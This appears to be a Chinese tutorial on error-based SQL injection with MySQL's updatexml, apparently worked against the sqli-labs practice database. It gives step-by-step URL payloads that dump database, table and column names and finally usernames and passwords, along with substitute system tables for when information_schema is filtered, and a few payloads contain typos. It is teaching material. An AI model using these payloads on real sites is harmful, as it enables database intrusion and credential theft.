1.updatexml報(bào)錯(cuò)原理

updatexml(xml_doument,XPath_string,new_value)
第一個(gè)參數(shù)：XML的內(nèi)容
第二個(gè)參數(shù)：是需要update的位置XPATH路徑
第三個(gè)參數(shù)：是更新后的內(nèi)容
所以第一和第三個(gè)參數(shù)可以隨便寫(xiě)，只需要利用第二個(gè)參數(shù)，他會(huì)校驗(yàn)?zāi)爿斎氲膬?nèi)容是否符合XPATH格式，當(dāng)我們輸入一個(gè)不符合x(chóng)path語(yǔ)法的語(yǔ)句就報(bào)錯(cuò)了，我們注入利用的就是這一點(diǎn)。

2.判斷是否有注入點(diǎn)

我們?cè)诘刂窓谥休斎?id=1'

我們?cè)诘刂窓谥休斎?id=1'--+

根據(jù)結(jié)果可以判斷出存在數(shù)字型注入，并且頁(yè)面會(huì)打印出報(bào)錯(cuò)信息，所以我們可以利用報(bào)錯(cuò)注入來(lái)解決

3.updatexml報(bào)錯(cuò)注入

3.1爆庫(kù)名

?id=1 and updatexml(1,concat(0x7e,database(),0x7e),0)

0x7e表示~符號(hào)，所以數(shù)據(jù)庫(kù)名為security

3.2爆表名

mysql 中的 information_schema 這個(gè)庫(kù) 就像時(shí)MYSQL的信息數(shù)據(jù)庫(kù)，他保存著mysql 服務(wù)器所維護(hù)的所有其他的數(shù)據(jù)庫(kù)信息， 包括了 庫(kù)名，表名，列名。

在注入時(shí)，information_schema庫(kù)的作用就是獲取 table_schema table_name, column_name .

這些數(shù)據(jù)庫(kù)內(nèi)的信息。如果information_schema庫(kù)被過(guò)濾掉，還可以嘗試使用下述庫(kù)來(lái)代替

sys.schema_auto_increment_columns 

sys.schema_table_statistics_with_buffer

mysql.innodb_table_stats

mysql.innodb_table_index 

?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)

根據(jù)結(jié)果可知當(dāng)前security庫(kù)下有四張表，并且users表最有可能存放用戶(hù)信息

3.3爆字段名

我們通過(guò)sql語(yǔ)句查詢(xún)知道當(dāng)前數(shù)據(jù)庫(kù)有四個(gè)表，根據(jù)表名知道可能用戶(hù)的賬戶(hù)和密碼是在users表中。接下來(lái)我們就是得到該表下的字段名以及內(nèi)容。

?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)

根據(jù)結(jié)果可以判斷出字段名不全，這是因?yàn)閡pdataxml函數(shù)只顯示32位，所以我們可以用substr函數(shù)來(lái)慢慢截取來(lái)獲得所有的字段名 

?id=1 and updatexml(1,concat(0x7e,(select substr(group_concat(column_name),1,32) frominformation_schema.columns where table_name='users'),0x7e),1)

這樣我們最終會(huì)得到所有的字段名

如果我們給select語(yǔ)句多加一個(gè)where條件會(huì)變成什么樣呢？

?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)

此次查詢(xún)直接就爆出users表的列名，可以得到兩個(gè)敏感字段就是username和password，最有可能存放用戶(hù)的賬號(hào)密碼

3.4爆數(shù)據(jù)

?id=1 and updatexml(1,concat(0x7e,(select password from users limit1,1),0x7e),1)

通過(guò)limit函數(shù)可以爆出各個(gè)用戶(hù)的密碼

當(dāng)然也可以通過(guò)剛剛所述的substr函數(shù)來(lái)截取密碼

?id=1 and updatexml(1,concat(0x7e,(select substr(group_concat(username,id,password),1,20) from users),0x7e),1)

此次updatexml報(bào)錯(cuò)注入就結(jié)束啦！

到此這篇關(guān)于SQL報(bào)錯(cuò)注入之updatexml的實(shí)現(xiàn)的文章就介紹到這了,更多相關(guān)SQL updatexml內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家！